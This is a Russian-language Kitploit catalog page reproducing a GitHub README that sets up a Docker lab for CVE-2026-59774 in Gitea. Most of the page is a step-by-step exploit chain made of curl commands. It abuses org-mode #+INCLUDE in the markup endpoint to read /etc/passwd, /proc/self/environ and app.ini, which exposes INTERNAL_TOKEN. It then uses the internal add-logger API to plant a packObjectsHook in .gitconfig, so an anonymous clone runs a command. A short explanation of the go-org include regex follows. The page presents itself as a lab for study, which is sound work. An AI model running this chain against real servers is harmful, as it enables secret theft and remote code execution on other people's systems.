Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/flowerwitch/cve-2026-59774_docker
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийЛаборатории и Практика
GitHubflowerwitch/cve-2026-59774_docker

CVE-2026-59774_docker

CVE-2026-59774

Репозиторий
112 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-59774_docker

1. Загрузка gitea

git clone https://github.com/FlowerWitch/CVE-2026-59774_docker

cd ./CVE-2026-59774_docker

docker compose up -d

2. Инициализация

Откройте gitea

http://localhost:3000/install

3. Создание репозитория

new repository по умолчанию является публичным, дополнительная настройка не требуется

image

4. POC

curl -X POST "http://localhost:3000/{username}/{repo}/markup" \                       
  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/etc/passwd\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'
image

5. Часть RCE

  1. Сначала путём чтения поля GITEA_CUSTOM в /proc/self/environ получаем расположение хранилища данных gitea
curl -sX POST "http://localhost:3000/admin/poc/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"/proc/self/environ\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep 'GITEA_CUSTOM='
image
  1. Прочитать {GITEA_CUSTOM}/conf/app.ini и получить поля INTERNAL_TOKEN и APP_DATA_PATH
curl -sX POST "http://localhost:3000/{username}/{repo_name}/markup"  -H "Content-Type: application/json" \
  -d '{
    "Mode": "file",
    "FilePath": "poc.org",
    "Text": "#+INCLUDE: \"{GITEA_CUSTOM}/conf/app.ini\" src 123\n",
    "Context": "/admin/poc/src/main/"
  }'|grep -E 'INTERNAL_TOKEN|APP_DATA_PATH' 
image
  1. Здесь я обнаружил интерфейс add-logger: когда Mode этого интерфейса равен File, выполняется дозапись в локальный файл (если целевой файл не существует, создаётся соответствующий каталог), а при выполнении с полем logger, равным router, срабатывает запись в лог, вывод которой гораздо лучше, чем у default (поскольку нет переноса строки XD). Используя произвольную запись первого, можно добавить в .gitconfig gitea поле packObjectsHook, чтобы анонимный clone вызывал выполнение команды.
curl -vX POST http://localhost:3000/api/internal/manager/add-logger \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "Logger": "router",
    "Writer": "pwnhook",
    "Mode": "file",
    "Config":{                                                             
      "filename": "{APP_DATA_PATH}/home/.gitconfig",
      "flags": "none",                                                          
      "prefix": "[uploadpack]\n        packObjectsHook = id > /tmp/pwned ;#", 
      "level": "Info",
      "rotate": false
    }
  }'
image
  1. Закройте дескриптор журнала, чтобы избежать загрязнения последующей конфигурации последующими запросами; для этого используйте logger и writer, указанные выше.
curl -vX POST /api/internal/manager/remove-logger/{Logger}/{Writer} \
  -H "X-Gitea-Internal-Auth: Bearer {INTERNAL_TOKEN}" \
  1. git clone вызывает выполнение команды
image

Пример

gg1

Примечание

В go-org 1.9.1 функция parseInclude содержит правило регулярной фильтрации includeFileRegexp — только при совпадении можно перейти к последующим функциям.

func (d *Document) parseInclude(k Keyword) (int, Node) {
	resolve := func() Node {
		d.Log.Printf("Bad include %#v", k)
		return k
	}
	if m := includeFileRegexp.FindStringSubmatch(k.Value); m != nil {  # <--这里施加了 includeFileRegexp 过滤
		path, kind, lang := m[1], m[2], m[3]
		if !filepath.IsAbs(path) {
			path = filepath.Join(filepath.Dir(d.Path), path)
		}

includeFileRegexp условия совпадения следующие

var includeFileRegexp = regexp.MustCompile(`(?i)^"([^"]+)" (src|example|export) (\w+)$`)

Таким образом, payload "#+INCLUDE: \"/etc/passwd\"\n" не может быть корректно сопоставлен; конструкция должна соответствовать выражению, например:

"#+INCLUDE: \"/etc/passwd\" src 123\n"
Скачать инструмент